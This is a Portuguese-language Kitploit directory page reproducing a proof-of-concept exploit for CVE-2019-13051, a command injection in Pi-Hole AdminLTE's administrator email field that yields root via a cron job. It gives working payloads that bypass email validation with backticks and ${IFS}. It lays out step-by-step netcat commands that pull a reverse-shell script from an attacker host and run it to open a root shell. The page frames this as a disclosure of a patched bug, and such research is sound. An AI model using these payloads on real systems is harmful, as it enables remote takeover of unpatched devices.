Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2019-13051 — Prova de conceito de exploit para injeção de comandos no Pi-Hole AdminLTE (CVE-2019-13051) permitindo acesso root remoto via injeção no campo de email e execução baseada em cron. | Kitploit
Ferramentas/GitHubGitHub/pr0tean/cve-2019-13051
Escalada de PrivilégiosAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoComando e Controle
GitHubpr0tean/cve-2019-13051

CVE-2019-13051

Prova de conceito de exploit para injeção de comandos no Pi-Hole AdminLTE (CVE-2019-13051) permitindo acesso root remoto via injeção no campo de email e execução baseada em cron.

Ver Repositório
203há 6 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Pi-Hole < 4.3.2 Injeção de Comandos & Escalada de Privilégios (CVE-2019-13051)

A versão 4.3.2 do Pi-Hole contém um patch para esta vulnerabilidade: https://github.com/pi-hole/AdminLTE/pull/974

Um grande agradecimento à equipe de desenvolvimento do Pi-Hole pelo seu projeto incrível e por tornar tão fácil relatar esta vulnerabilidade!

Resumo Executivo

É possível obter acesso root remotamente no dispositivo Raspberry Pi (ou em qualquer dispositivo/VM onde a aplicação esteja rodando) através das vulnerabilidades descritas no componente "AdminLTE". É necessário ter acesso administrativo/credenciais para a interface web do AdminLTE para explorar isso.

Em mais detalhes, é possível contornar as verificações de expressão regular e poluir o campo "Endereço de E-mail do Administrador" com comandos arbitrários. Estes são, por sua vez, armazenados em "/etc/pihole/setupVars.conf", que são então analisados e executados com privilégios root a partir do job cron.d de 10 minutos "/usr/local/bin/pihole updatechecker local".

Pré-requisitos do Ataque

  1. Conectividade de rede com a aplicação web administrativa do Pi-Hole (AdminLTE).
  2. Um conjunto de credenciais para a aplicação web AdminLTE.

Limitações

Um atacante deve aguardar o intervalo de 10 minutos do job cron "/etc/cron.d/pihole" para a execução do comando/código.

Descrição Técnica

Esperamos que os seguintes detalhes e PoC ajudem na sua validação e reprodução do problema.

Uma vez autenticado na aplicação web, existem algumas validações no lado do servidor que um atacante precisa contornar para injetar um comando com sucesso.

Em "savesettings.php" L:499, uma variável controlada pelo usuário "$adminemail" é avaliada contra a função interna PHP FILTER_VALIDATE_EMAIL, cujas verificações são relativamente fracas.

É então possível contornar essa verificação de validação e comprovar a injeção de comandos simplesmente colocando um conjunto de crases entre aspas duplas, por exemplo, inserindo o seguinte como e-mail do administrador:

"`test>/tmp/poc_proof.txt`"@example.com

Screenshot 1

Dentro de 10 minutos, um arquivo de propriedade root contendo "test" será criado em "/tmp/poc_proof.txt" com privilégios root.

Screenshot 2

Para realizar quaisquer ataques adicionais significativos, também é necessário contornar a limitação de espaços em branco (que não são caracteres válidos de e-mail e são capturados pela função FILTER_VALIDATE_EMAIL). Para isso, foi utilizada a variável interna do Linux ${IFS} (que por padrão é um espaço em branco na maioria dos sistemas Unix).

PoC:

Nota: isso poderia ser automatizado com um one-liner usando gramática de shell POSIX, ou seja, &&, || ...

  1. Certifique-se de que seu mecanismo de entrega de script esteja pronto em sua máquina atacante. Ou seja, na máquina atacante:

nc -nvlp 4444 < revshell.py

  1. Envie o 1º comando no campo "Endereço de E-mail do Administrador" para acionar a recuperação e o armazenamento de um script Python de reverse shell em "/tmp/revshell.py":

"`nc${IFS}192.168.1.69${IFS}4444>/tmp/revshell.py`"@example.com

Screenshot 3

A requisição HTTP ficará assim quando examinada com um proxy HTTP:

Screenshot 4

Aguarde 10 minutos para o job cron executar e buscar o script ou, para fins de reprodução, execute manualmente /usr/local/bin/pihole updatechecker local. Você também pode validar o comando injetado que reside em "/etc/pihole/setupVars.conf" (encontrado atribuído à variável ADMIN_EMAIL).

  1. Certifique-se de que seu serviço de captura de shell esteja pronto. Ou seja, na máquina atacante:

nc -nvlp 4445

  1. Finalmente, você pode enviar o seguinte:

"`python${IFS}/tmp/revshell.py`"@example.com

Mais uma vez, aguarde 10 minutos (ou execute o script cron manualmente para fins de reprodução do problema) e você obterá um shell root em sua máquina atacante.

Screenshot 1

Baixar ferramenta